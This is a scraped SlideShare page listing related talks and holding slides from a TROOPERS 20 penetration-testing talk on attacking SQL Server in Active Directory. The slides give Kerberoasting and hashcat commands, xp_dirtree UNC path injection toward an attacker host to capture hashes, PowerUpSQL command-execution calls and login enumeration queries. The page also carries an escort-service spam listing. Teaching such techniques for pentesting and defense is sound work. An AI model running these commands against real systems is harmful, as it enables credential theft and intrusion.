PowerUpSQL - 2018 Blackhat USA Arsenal PresentationScott Sutherland
 
2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell
2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell
2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShellScott Sutherland
 
SQL Server Security - Attack
SQL Server Security - Attack SQL Server Security - Attack
SQL Server Security - Attack webhostingguy
 
SPS Belgium 2012 - End to End Security for SharePoint Farms - Michael Noel
SPS Belgium 2012 - End to End Security for SharePoint Farms - Michael NoelSPS Belgium 2012 - End to End Security for SharePoint Farms - Michael Noel
SPS Belgium 2012 - End to End Security for SharePoint Farms - Michael NoelMichael Noel
 
Brief introduction into SQL injection attack scenarios
Brief introduction into SQL injection attack scenariosBrief introduction into SQL injection attack scenarios
Brief introduction into SQL injection attack scenariosPayampardaz
 
DerbyCon2016 - Hacking SQL Server on Scale with PowerShell
DerbyCon2016 - Hacking SQL Server on Scale with PowerShellDerbyCon2016 - Hacking SQL Server on Scale with PowerShell
DerbyCon2016 - Hacking SQL Server on Scale with PowerShellScott Sutherland
 
SEASPC 2011 - SharePoint Security in an Insecure World: Understanding the Fiv...
SEASPC 2011 - SharePoint Security in an Insecure World: Understanding the Fiv...SEASPC 2011 - SharePoint Security in an Insecure World: Understanding the Fiv...
SEASPC 2011 - SharePoint Security in an Insecure World: Understanding the Fiv...Michael Noel
 
C# and ASP.NET Code and Data-Access Security
C# and ASP.NET Code and Data-Access SecurityC# and ASP.NET Code and Data-Access Security
C# and ASP.NET Code and Data-Access SecurityDarren Sim
 
10 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 2015
10 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 201510 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 2015
10 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 2015Scott Sutherland
 
AUSPC 2013 - Understanding the Five Layers of SharePoint Security
AUSPC 2013 - Understanding the Five Layers of SharePoint SecurityAUSPC 2013 - Understanding the Five Layers of SharePoint Security
AUSPC 2013 - Understanding the Five Layers of SharePoint SecurityMichael Noel
 
Security for SharePoint in an Insecure World - SharePoint Connections Amsterd...
Security for SharePoint in an Insecure World - SharePoint Connections Amsterd...Security for SharePoint in an Insecure World - SharePoint Connections Amsterd...
Security for SharePoint in an Insecure World - SharePoint Connections Amsterd...Michael Noel
 
SPTechCon SFO 2012 - Understanding the Five Layers of SharePoint Security
SPTechCon SFO 2012 - Understanding the Five Layers of SharePoint SecuritySPTechCon SFO 2012 - Understanding the Five Layers of SharePoint Security
SPTechCon SFO 2012 - Understanding the Five Layers of SharePoint SecurityMichael Noel
 
SQLSaturday#290_Kiev_WindowsAzureDatabaseForBeginners
SQLSaturday#290_Kiev_WindowsAzureDatabaseForBeginnersSQLSaturday#290_Kiev_WindowsAzureDatabaseForBeginners
SQLSaturday#290_Kiev_WindowsAzureDatabaseForBeginnersTobias Koprowski
 
Dealing with SQL Security from ADO.NET
Dealing with SQL Security from ADO.NETDealing with SQL Security from ADO.NET
Dealing with SQL Security from ADO.NETFernando G. Guerrero
 

Similar to TROOPERS 20 - SQL Server Hacking Tips for Active Directory Environments (20)

SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012
SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012
SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012
 
SharePoint Security in an Insecure World - AUSPC 2012
SharePoint Security in an Insecure World - AUSPC 2012SharePoint Security in an Insecure World - AUSPC 2012
SharePoint Security in an Insecure World - AUSPC 2012
 
2019 Blackhat Booth Presentation - PowerUpSQL
2019 Blackhat Booth Presentation - PowerUpSQL2019 Blackhat Booth Presentation - PowerUpSQL
2019 Blackhat Booth Presentation - PowerUpSQL
 
2016 aRcTicCON - Hacking SQL Server on Scale with PowerShell (Slide Updates)
2016 aRcTicCON - Hacking SQL Server on Scale with PowerShell (Slide Updates)2016 aRcTicCON - Hacking SQL Server on Scale with PowerShell (Slide Updates)
2016 aRcTicCON - Hacking SQL Server on Scale with PowerShell (Slide Updates)
 
PowerUpSQL - 2018 Blackhat USA Arsenal Presentation
PowerUpSQL - 2018 Blackhat USA Arsenal PresentationPowerUpSQL - 2018 Blackhat USA Arsenal Presentation
PowerUpSQL - 2018 Blackhat USA Arsenal Presentation
 
2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell
2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell
2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell
 
SQL Injection
SQL InjectionSQL Injection
SQL Injection
 
SQL Server Security - Attack
SQL Server Security - Attack SQL Server Security - Attack
SQL Server Security - Attack
 
SPS Belgium 2012 - End to End Security for SharePoint Farms - Michael Noel
SPS Belgium 2012 - End to End Security for SharePoint Farms - Michael NoelSPS Belgium 2012 - End to End Security for SharePoint Farms - Michael Noel
SPS Belgium 2012 - End to End Security for SharePoint Farms - Michael Noel
 
Brief introduction into SQL injection attack scenarios
Brief introduction into SQL injection attack scenariosBrief introduction into SQL injection attack scenarios
Brief introduction into SQL injection attack scenarios
 
DerbyCon2016 - Hacking SQL Server on Scale with PowerShell
DerbyCon2016 - Hacking SQL Server on Scale with PowerShellDerbyCon2016 - Hacking SQL Server on Scale with PowerShell
DerbyCon2016 - Hacking SQL Server on Scale with PowerShell
 
SEASPC 2011 - SharePoint Security in an Insecure World: Understanding the Fiv...
SEASPC 2011 - SharePoint Security in an Insecure World: Understanding the Fiv...SEASPC 2011 - SharePoint Security in an Insecure World: Understanding the Fiv...
SEASPC 2011 - SharePoint Security in an Insecure World: Understanding the Fiv...
 
C# and ASP.NET Code and Data-Access Security
C# and ASP.NET Code and Data-Access SecurityC# and ASP.NET Code and Data-Access Security
C# and ASP.NET Code and Data-Access Security
 
10 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 2015
10 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 201510 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 2015
10 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 2015
 
AUSPC 2013 - Understanding the Five Layers of SharePoint Security
AUSPC 2013 - Understanding the Five Layers of SharePoint SecurityAUSPC 2013 - Understanding the Five Layers of SharePoint Security
AUSPC 2013 - Understanding the Five Layers of SharePoint Security
 
Security for SharePoint in an Insecure World - SharePoint Connections Amsterd...
Security for SharePoint in an Insecure World - SharePoint Connections Amsterd...Security for SharePoint in an Insecure World - SharePoint Connections Amsterd...
Security for SharePoint in an Insecure World - SharePoint Connections Amsterd...
 
SPTechCon SFO 2012 - Understanding the Five Layers of SharePoint Security
SPTechCon SFO 2012 - Understanding the Five Layers of SharePoint SecuritySPTechCon SFO 2012 - Understanding the Five Layers of SharePoint Security
SPTechCon SFO 2012 - Understanding the Five Layers of SharePoint Security
 
SQLSaturday#290_Kiev_WindowsAzureDatabaseForBeginners
SQLSaturday#290_Kiev_WindowsAzureDatabaseForBeginnersSQLSaturday#290_Kiev_WindowsAzureDatabaseForBeginners
SQLSaturday#290_Kiev_WindowsAzureDatabaseForBeginners
 
Dealing with SQL Security from ADO.NET
Dealing with SQL Security from ADO.NETDealing with SQL Security from ADO.NET
Dealing with SQL Security from ADO.NET
 
Day2
Day2Day2
Day2
 

More from Scott Sutherland

Into the Abyss: Evaluating Active Directory SMB Shares on Scale (Secure360)
Into the Abyss: Evaluating Active Directory SMB Shares on Scale (Secure360)Into the Abyss: Evaluating Active Directory SMB Shares on Scale (Secure360)
Into the Abyss: Evaluating Active Directory SMB Shares on Scale (Secure360)Scott Sutherland
 
How to Build and Validate Ransomware Attack Detections (Secure360)
How to Build and Validate Ransomware Attack Detections (Secure360)How to Build and Validate Ransomware Attack Detections (Secure360)
How to Build and Validate Ransomware Attack Detections (Secure360)Scott Sutherland
 
Secure360 - Beyond xp cmdshell - Owning the Empire through SQL Server
Secure360 - Beyond xp cmdshell - Owning the Empire through SQL ServerSecure360 - Beyond xp cmdshell - Owning the Empire through SQL Server
Secure360 - Beyond xp cmdshell - Owning the Empire through SQL ServerScott Sutherland
 
2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL Server
2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL Server2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL Server
2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL ServerScott Sutherland
 
2017 Thotcon - Hacking SQL Servers on Scale with PowerShell
2017 Thotcon - Hacking SQL Servers on Scale with PowerShell2017 Thotcon - Hacking SQL Servers on Scale with PowerShell
2017 Thotcon - Hacking SQL Servers on Scale with PowerShellScott Sutherland
 
2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial Emulation
2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial Emulation2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial Emulation
2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial EmulationScott Sutherland
 
Attack All the Layers: What's Working during Pentests (OWASP NYC)
Attack All the Layers: What's Working during Pentests (OWASP NYC)Attack All the Layers: What's Working during Pentests (OWASP NYC)
Attack All the Layers: What's Working during Pentests (OWASP NYC)Scott Sutherland
 
Secure360 - Attack All the Layers! Again!
Secure360 - Attack All the Layers! Again!Secure360 - Attack All the Layers! Again!
Secure360 - Attack All the Layers! Again!Scott Sutherland
 
Secure360 - Extracting Password from Windows
Secure360 - Extracting Password from WindowsSecure360 - Extracting Password from Windows
Secure360 - Extracting Password from WindowsScott Sutherland
 
WTF is Penetration Testing v.2
WTF is Penetration Testing v.2WTF is Penetration Testing v.2
WTF is Penetration Testing v.2Scott Sutherland
 
Attack all the layers secure 360
Attack all the layers secure 360Attack all the layers secure 360
Attack all the layers secure 360Scott Sutherland
 
Thick Application Penetration Testing: Crash Course
Thick Application Penetration Testing: Crash CourseThick Application Penetration Testing: Crash Course
Thick Application Penetration Testing: Crash CourseScott Sutherland
 
Introduction to Windows Dictionary Attacks
Introduction to Windows Dictionary AttacksIntroduction to Windows Dictionary Attacks
Introduction to Windows Dictionary AttacksScott Sutherland
 
WTF is Penetration Testing
WTF is Penetration TestingWTF is Penetration Testing
WTF is Penetration TestingScott Sutherland
 

More from Scott Sutherland (15)

Into the Abyss: Evaluating Active Directory SMB Shares on Scale (Secure360)
Into the Abyss: Evaluating Active Directory SMB Shares on Scale (Secure360)Into the Abyss: Evaluating Active Directory SMB Shares on Scale (Secure360)
Into the Abyss: Evaluating Active Directory SMB Shares on Scale (Secure360)
 
How to Build and Validate Ransomware Attack Detections (Secure360)
How to Build and Validate Ransomware Attack Detections (Secure360)How to Build and Validate Ransomware Attack Detections (Secure360)
How to Build and Validate Ransomware Attack Detections (Secure360)
 
Secure360 - Beyond xp cmdshell - Owning the Empire through SQL Server
Secure360 - Beyond xp cmdshell - Owning the Empire through SQL ServerSecure360 - Beyond xp cmdshell - Owning the Empire through SQL Server
Secure360 - Beyond xp cmdshell - Owning the Empire through SQL Server
 
2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL Server
2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL Server2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL Server
2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL Server
 
2017 Thotcon - Hacking SQL Servers on Scale with PowerShell
2017 Thotcon - Hacking SQL Servers on Scale with PowerShell2017 Thotcon - Hacking SQL Servers on Scale with PowerShell
2017 Thotcon - Hacking SQL Servers on Scale with PowerShell
 
2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial Emulation
2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial Emulation2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial Emulation
2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial Emulation
 
Attack All the Layers: What's Working during Pentests (OWASP NYC)
Attack All the Layers: What's Working during Pentests (OWASP NYC)Attack All the Layers: What's Working during Pentests (OWASP NYC)
Attack All the Layers: What's Working during Pentests (OWASP NYC)
 
Secure360 - Attack All the Layers! Again!
Secure360 - Attack All the Layers! Again!Secure360 - Attack All the Layers! Again!
Secure360 - Attack All the Layers! Again!
 
Secure360 - Extracting Password from Windows
Secure360 - Extracting Password from WindowsSecure360 - Extracting Password from Windows
Secure360 - Extracting Password from Windows
 
WTF is Penetration Testing v.2
WTF is Penetration Testing v.2WTF is Penetration Testing v.2
WTF is Penetration Testing v.2
 
Attack all the layers secure 360
Attack all the layers secure 360Attack all the layers secure 360
Attack all the layers secure 360
 
Declaration of malWARe
Declaration of malWAReDeclaration of malWARe
Declaration of malWARe
 
Thick Application Penetration Testing: Crash Course
Thick Application Penetration Testing: Crash CourseThick Application Penetration Testing: Crash Course
Thick Application Penetration Testing: Crash Course
 
Introduction to Windows Dictionary Attacks
Introduction to Windows Dictionary AttacksIntroduction to Windows Dictionary Attacks
Introduction to Windows Dictionary Attacks
 
WTF is Penetration Testing
WTF is Penetration TestingWTF is Penetration Testing
WTF is Penetration Testing
 

Recently uploaded

My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024The Digital Insurer
 
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr LapshynFwdays
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):comworks
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationSafe Software
 
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)Wonjun Hwang
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Commit University
 
New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024BookNet Canada
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsMiki Katsuragi
 
costume and set research powerpoint presentation
costume and set research powerpoint presentationcostume and set research powerpoint presentation
costume and set research powerpoint presentationphoebematthew05
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...Fwdays
 
Understanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitectureUnderstanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitecturePixlogix Infotech
 
Artificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning eraArtificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning eraDeakin University
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfAddepto
 
Build your next Gen AI Breakthrough - April 2024
Build your next Gen AI Breakthrough - April 2024Build your next Gen AI Breakthrough - April 2024
Build your next Gen AI Breakthrough - April 2024Neo4j
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Enterprise Knowledge
 
Bluetooth Controlled Car with Arduino.pdf
Bluetooth Controlled Car with Arduino.pdfBluetooth Controlled Car with Arduino.pdf
Bluetooth Controlled Car with Arduino.pdfngoud9212
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsMemoori
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machinePadma Pradeep
 

Recently uploaded (20)

DMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special EditionDMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special Edition
 
My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024
 
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
 
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!
 
New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering Tips
 
costume and set research powerpoint presentation
costume and set research powerpoint presentationcostume and set research powerpoint presentation
costume and set research powerpoint presentation
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
 
Understanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitectureUnderstanding the Laravel MVC Architecture
Understanding the Laravel MVC Architecture
 
Artificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning eraArtificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning era
 
Hot Sexy call girls in Panjabi Bagh 🔝 9953056974 🔝 Delhi escort Service
Hot Sexy call girls in Panjabi Bagh 🔝 9953056974 🔝 Delhi escort ServiceHot Sexy call girls in Panjabi Bagh 🔝 9953056974 🔝 Delhi escort Service
Hot Sexy call girls in Panjabi Bagh 🔝 9953056974 🔝 Delhi escort Service
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdf
 
Build your next Gen AI Breakthrough - April 2024
Build your next Gen AI Breakthrough - April 2024Build your next Gen AI Breakthrough - April 2024
Build your next Gen AI Breakthrough - April 2024
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024
 
Bluetooth Controlled Car with Arduino.pdf
Bluetooth Controlled Car with Arduino.pdfBluetooth Controlled Car with Arduino.pdf
Bluetooth Controlled Car with Arduino.pdf
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial Buildings
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machine
 

TROOPERS 20 - SQL Server Hacking Tips for Active Directory Environments

  • 1. SQL Server Hacking Tips for ACTIVE DIRECTORY ENVIRONMENTS
  • 2. Name: Scott Sutherland Job: Network & Application Pentester @ NetSPI Twitter: @_nullbind Slides: http://slideshare.net/nullbind http://slideshare.net/netspi Blogs: https://blog.netspi.com/author/scott-sutherland/ Code: https://github.com/NetSPI/PowerUpSQL https://github.com/NetSPI/ESC https://github.com/NetSPI/SQLC2 https://sqlwiki.netspi.com/ SQLC2 Community involvement: • SQL Injection Wiki • SQL Server Metasploit modules • PowerShell Empire functions • DBATools functions • DAFT: C# port of PowerUpSQL • Bloodhound SQL Server edge help language
  • 3. PRESENTATION OVERVIEW 5 Reasons to target SQL Server 4 Common Entry Points 3 Common Privilege Escalation Techniques 2 Examples of Temporary Table Abuse 1 Evil SQL Client (ESC) console application (msbuild in line task execution)
  • 4. Why Target SQL Server?
  • 5. WHY TARGET SQL SERVER? Why Target SQL Server? SQL Servers exist in almost every enterprise environment we see.1 SQL Servers can be blindly discovered quickly in Active Directory environments.2 SQL Servers have trust relationships with the OS and Active Directory.3 Exploitable default configurations are incredibly common.4 Exploitable weak configurations are incredibly common.5
  • 7. INTRODUCTION TO POWERUPSQL Introduction to PowerUpSQL It also supports a lot of post-exploitation functionality that covers the kill chain…like Active Directory recon. Data Targeting Command Execution Privilege Escalation AD Recon Lateral Movement Discovery Initial Access Defense Evasion PowerShell tool that can be used to inventory, audit, and exploit weak SQL Server configurations on scale in AD environments.
  • 8. INTRODUCTION TO POWERUPSQL Introduction to PowerUpSQL WWW.POWERUPSQL.COM • Setup instructions • Cheat sheets • Code templates • Function documentation • Links to: - Blogs - Presentations - Videos
  • 9. How do find SQL Servers using Active Directory?
  • 10. How do I find SQL Servers in Active Directory environments? SQL Server Discovery Domain joined SQL Servers register their service accounts in the Service Principal Name (SPN) property of the user/computer object in Active Directory. Any domain user can query Active Directory for domain computer/user SPNS. The SPNs are added to support Kerberos authentication. SQL Servers can be identified by executing LDAP queries for SPNs containing “MSSQLSvc”.
  • 11. Active Directory PowerShell Cmdlet SQL Server Discovery Get-ADObject -LDAPFilter “(servicePrincipalName=MSSQL*)“
  • 12. PowerUpSQL Functions SQL Server Discovery Get-DomainSpn -DomainController 10.0.0.1 -Username DomainUser -Password Password123! Get-DomainSpn -SpnService MSSQL Get-SQLInstanceDomain –Verbose Just SQL SPNs
  • 14. COMMON ENTRY POINTS Common Entry Points Domain users can log into SQL Server Express instances by default. Yep.1 Domain users can log into SQL Server instances due to excessive privileges.2 Default passwords are configured for logins configured by applications.3 Weak service account passwords that can be guessed online/offline.4
  • 15. EXCESSIVE PRIVILEGES Common Entry Points Explicit login privileges provided to domain users by sysadmins or default application installations. SQL Server Express inherently includes domain users in the public role when installed on a domain system.
  • 16. EXCESSIVE PRIVILEGES Common Entry Points Explicit login privileges provided to domain users by sysadmins or default application installations. SQL Server Express inherently includes domain users in the public role when installed on a domain system.
  • 17. EXCESSIVE PRIVILEGES Common Entry Points Explicit login privileges provided to domain users by sysadmins or default application installations. SQL Server Express inherently includes domain users in the public role when installed on a domain system.
  • 18. PowerUpSQL Functions: Finding Excessive Privileges Common Entry Points Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded –Verbose Get-SQLInstanceDomain | Get-SQLServerInfoThreaded –Verbose
  • 21. DEFAULT APPLICATION LOGINS Common Entry Points Lots of commercial applications commonly use SQL Server. Many of those applications create default logins in SQL Server. Those logins often have default passwords that don’t get changed. Many of those applications create application specific SQL Server instance names. Those instance names can be quickly identified via LDAP queries for SPNs, then we can use Get-SQLServerLoginDefaultPw to identify defaults.
  • 22. DEFAULT APPLICATION LOGINS: Example Common Entry Points These instance names are too general for default login targeting Software specific instance name can be used for targeting default logins
  • 24. Weak Passwords SQL Server Service Accounts Common Entry Points
  • 25. WEAK SERVICE ACCOUNT PASSWORDS Common Entry Points Online password guessing – mind the lockout policy! Kerberoasting Big thanks to: Tim Medin, Benjamin Delpy, Will Schroeder
  • 26. Kerberos ticket-granting service (TGS) service ticket Encrypted with NTLM(RC4) password hash of requesting domain user WHAT IS KERBEROASTING? Common Entry Points Kerberoasting is the process of requesting a TGS service ticket for a domain service account (domain account with a SPN), recovering the ticket from memory, and trying to determine the password of the service account offline by attempting to decrypt the ticket. Encrypted with NTLM (RC4) password hash of the service account Ticket Information The requesting domain user can decrypt as intended. This is what is brute forced offline. We’ll know we guessed the right password for the domain service account when the ticket information decrypts correctly.
  • 27. KERBEROASTING ATTACK SUMMARY Common Entry Points https://github.com/GhostPack/Rubeus#kerberoast | https://hashcat.net/hashcat/ Rubeus.exe kerberoast /outfile:C:Tempdomainhashes.txt Rubeus.exe kerberoast /user:SQLSVC /outfile:C:Tempsqlhash.txt COLLECTION hashcat -m 13100 -a 0 sqlhash.txt passwordfile.txt CRACKING Invoke-SQLOSCmd -Instance server1instance1 -username domainsqlsvc -password “Secret!” -Command "Whoami“ EXECUTE COMMANDS ON SQL SERVER THAT USE SQLSVC
  • 29. COMMON PRIVILEGE ESCALATION METHODS Common Privilege Escalation Methods UNC Path Injection + Hash Capture / SMB Relay User Enumeration + Weak Passwords Linked Server + Excessive Privileges 1 2 3
  • 30. UNC PATH INJECTION + Hash Cracking/Relay Common Privilege Escalation Methods
  • 31. UNC PATH INJECTION + PASSWORD HASH COLLECTION Common Privilege Escalation Methods Capture or Relay the NetNTLM password hash for the SQL Server service which often has sysadmin privileges (Inveigh, Responder, etc) By default, the PUBLIC role can leverage 2 stored procs for UNC injection: xp_dirtree and xp_fileexist UNC path injection can be used to force the SQL Server service account to authenticate to the attacker’s system: xp_dirtree “attackeripfile’ Sysadmins can execute operating system commands via xp_cmdshell https://github.com/NetSPI/PowerUpSQL/wiki/SQL-Server---UNC-Path-Injection-Cheat-Sheet
  • 32. UNC PATH INJECTION + PASSWORD HASH COLLECTION Common Privilege Escalation Methods Below is the high level process for executing the attack on scale in AD: 1. Locate SQL Servers on the domain via LDAP queries for SQL SPNs 2. Attempt to log into each SQL instance as the current domain user 3. Perform UNC path injection and capture SQL Server service account password hashes 4. Crack password hashes offline 5. Login into SQL Server and execution OS commands The Get-SQLServiceAccountPwHashes function can come in handy Thanks Thomas Elling!
  • 33. UNC PATH INJECTION + PASSWORD HASH COLLECTION Common Privilege Escalation Methods
  • 34. UNC PATH INJECTION + SMB RELAY TIPS Common Privilege Escalation Methods Target shared SQL Server service accounts • Service accounts are often configured as sysadmin • Service accounts are often configured as a local administrator • Compromise one account = Access to all the SQL Servers that use it Make sure your target SQL Server doesn’t check for SMB signing
  • 35. LOCATING SHARED SERVICE ACCOUNTS (PowerUpSQL) Common Privilege Escalation Methods $SQLServers = Get-SQLInstanceDomain -Verbose Get List of Domain Joined SQL Servers List Instances with using Shared Account $SQLServers | Where-Object domainaccount -Like “SQLSVC” $SQLServers | Group-Object domainaccount | Sort-Object count -Descending Group Results to Reveal Shared Accounts
  • 36. USER ENUMERATION + WEAK PASSWORDS Common Privilege Escalation Methods
  • 37. ENUMERATING SQL LOGINS Common Privilege Escalation Methods It’s common for developers and vendors to create SQL Logins with the username with weak passwords, but sometimes you don’t know the login name. As a least privilege authenticated user you can blindly enumerate all SQL Server logins by fuzzing numbers provided to the SUSER_NAME() function. Those logins can be then be used to guess passwords. Example: SELECT SUSER_NAME(1) SELECT SUSER_NAME(2) SELECT SUSER_NAME(3) …
  • 38. ENUMERATING DOMAIN USERS AND GROUPS Common Privilege Escalation Methods Through a similar process you can blindly enumeration domain users using the DEFAULT_DOMAIN(), SUSER_SID, and SUSER_SNAME functions. Get Domain SELECT DEFAULT_DOMAIN() as mydomain; Get the RID for a Known Group SELECT SUSER_SID('DEMODomain Admins’) Fuzz RID to Enumeration Users and Groups SELECT SUSER_SNAME(0x0105000000000005150000009CC30DD479441EDEB31027D0F 4010000)
  • 39. ENUMERATING LOGINS AND PASSWORD GUESSING Common Privilege Escalation Methods Invoke-SQLAuditWeakLoginPw 1. Blindly enumerates all SQL logins with least privilege SQL login 2. Attempt user name as password 3. Custom user/password lists can be provided Get-SQLFuzzDomainAccount 1. Blindly enumerate domain users and group associated with the SQL Server domain with least privilege SQL login
  • 40. LDAP QUERIES via SQL SERVER Common Privilege Escalation Methods
  • 41. LDAP QUERIES VIA SQL SERVER Common Privilege Escalation Methods The OLE DB ADSI provide in SQL Server can be used to craft LDAP queries. A nice blog was written by Thomas Elling on the subject. Specifically, queries can be created using ad-hoc queries (OPENROWSET) or linked servers (OPENQUERY) without requiring a custom CLR or extended stored procedure. PowerUpSQL functions and TSQL templates can be found at: https://www.powerupsql.com More thanks to Thomas Elling!
  • 42. LDAP QUERIES VIA SQL SERVER Common Privilege Escalation Methods Ad-Hoc Query example using: OPENROWSET DOMAIN USERS
